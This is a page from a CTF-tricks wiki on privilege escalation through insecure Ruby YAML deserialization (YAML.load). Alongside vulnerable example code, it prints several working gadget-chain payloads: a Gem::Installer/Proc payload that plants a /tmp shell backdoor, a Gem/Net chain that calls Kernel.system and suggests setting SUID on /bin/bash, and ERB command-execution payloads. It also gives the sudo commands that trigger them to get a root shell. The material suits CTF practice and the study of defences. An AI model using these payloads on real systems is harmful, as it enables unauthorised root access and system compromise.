> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/deserialization/privilege-escalation-deserialization-yaml.md).

# Yaml

## Ruby YAML Deserialization (Code Execution)

Insecure deserialization via `YAML.load` (instead of `YAML.safe_load`) in Ruby can allow arbitrary code execution when processing attacker-controlled YAML input. Any application that uses `YAML.load` to parse user-supplied input is vulnerable to remote code execution. If a privileged process (e.g., running with `sudo`) reads this malicious YAML, it can lead to privilege escalation.

A simple example of vulnerable Ruby code might look like this:

```ruby
require 'yaml'
YAML.load(ARGV[0])
```

Craft a malicious YAML file (e.g., `dependencies.yml`) containing a payload that executes desired commands. The payload often leverages specific Ruby object gadgets available in the environment, such as `Gem::Installer` combined with `Proc`. For instance, this payload creates a simple executable backdoor `/tmp/0xdf`:

```yaml
---
!ruby/object:Gem::Installer
i: !ruby/object:Gem::SpecFetcher
  i: "/dev/null\x00\n--- !ruby/symbol \":test\":test:\n  !ruby/object:Proc\n    source: |\n      Kernel.system('echo \"/bin/bash\" > /tmp/0xdf'); Kernel.system('chmod +x /tmp/0xdf')\n    raw: |-\n      Kernel.system('echo \"/bin/bash\" > /tmp/0xdf'); Kernel.system('chmod +x /tmp/0xdf')\n"
```

Place this file in the directory from which the vulnerable Ruby script will be executed. Then, run the script using `sudo`. If the script reads `dependencies.yml` using `YAML.load`, the code embedded in the YAML will execute, typically via `Kernel.system` or similar methods called within the deserialized objects.

```bash
sudo ruby /opt/update_dependencies.rb
```

After the script finishes, execute the created backdoor to get a root shell:

```bash
/tmp/0xdf -p
```

***

## Ruby YAML Deserialization Gadget Chain

Place a crafted `dependencies.yml` file in a directory you can control. The vulnerable script, executed via `sudo`, loads this file using a relative path, allowing you to supply the malicious YAML. This vulnerability typically arises when a Ruby application loads attacker-controlled data using unsafe deserialization methods like `YAML.load` or `Psych.load`, which can instantiate arbitrary Ruby objects.

A simplified example of vulnerable code might look like this:

```ruby
require 'yaml'
# In modern Ruby, YAML.load is an alias for Psych.load
# Both are unsafe for untrusted input.

# Assume dependencies_file is attacker controlled via relative path or similar
dependencies_file = ARGV[0] || 'dependencies.yml'

if File.exist?(dependencies_file)
  # BAD: Allows arbitrary class instantiation
  dependencies = YAML.load(File.read(dependencies_file))
  # Processing dependencies here is where the gadgets are triggered
else
  puts "Dependencies file not found: #{dependencies_file}"
end

# GOOD: Only allows simple types
# data = YAML.safe_load(File.read(dependencies_file))
```

The use of `YAML.load` on untrusted input is dangerous because it permits arbitrary class instantiation. For example, a simple YAML string like `--- !ruby/object:Foo\nbar: 1` could attempt to instantiate a class named `Foo` if it exists in the application's environment. Attackers leverage this by crafting YAML that instantiates specific objects whose initialization or subsequent methods trigger unintended actions, forming "gadget chains" that can lead to arbitrary code execution.

The following YAML payload leverages a common gadget chain within the Ruby `Gem` and `Net` libraries. By instantiating specific objects like `Gem::Installer`, `Gem::SpecFetcher`, `Gem::Requirement`, `Gem::Package::TarReader`, `Net::BufferedIO`, `Net::WriteAdapter`, and `Gem::RequestSet`, this chain is designed to eventually force a call to `Kernel.system` with a controlled command:

```yaml
---
- !ruby/object:Gem::Installer
  i: x
- !ruby/object:Gem::SpecFetcher
  i: y
- !ruby/object:Gem::Requirement
 requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
   io: &1 !ruby/object:Gem::Package::TarReader::Entry
     read: 0
     header: "abc"
   debug_output: &1 !ruby/object:Net::WriteAdapter
     socket: &1 !ruby/object:Gem::RequestSet
       sets: !ruby/object:Net::WriteAdapter
         socket: !ruby/module 'Kernel'
         method_id: :system
       git_set: COMMAND_TO_EXECUTE # Replace with your desired command (e.g., chmod +s /bin/bash)
     method_id: :resolve
```

A simpler and often effective gadget chain utilizes the `ERB` (Embedded Ruby) class. By instantiating `!ruby/object:ERB` and providing source code in the `src` attribute, the attacker can cause the YAML deserializer to evaluate the embedded Ruby code, including system commands:

```yaml
--- !ruby/object:ERB
src: '<%= system("ls -l /") %>'
```

Another variation of the `ERB` payload using backticks for command execution:

```yaml
--- !ruby/object:ERB
src: |
  <%= `ls -l /` %>
```

To exploit this, place your malicious YAML payload in a file (e.g., `dependencies.yml`) in a directory you control. Then, execute the vulnerable script, ensuring it loads your crafted file. For example, if the vulnerable script is `/opt/update_dependencies.rb` and it loads a local `dependencies.yml`, you could run:

```bash
cd /path/to/your/controlled/directory
sudo /usr/bin/ruby /opt/update_dependencies.rb
```

Replace `COMMAND_TO_EXECUTE` in the `Gem`/`Net` YAML with your desired payload, such as `chmod +s /bin/bash` to set the SUID bit on `/bin/bash` for root access, or modify the command within the `ERB` payloads. The ability to load the malicious YAML via a relative path combined with a script executed with `sudo` allows for privilege escalation to root.
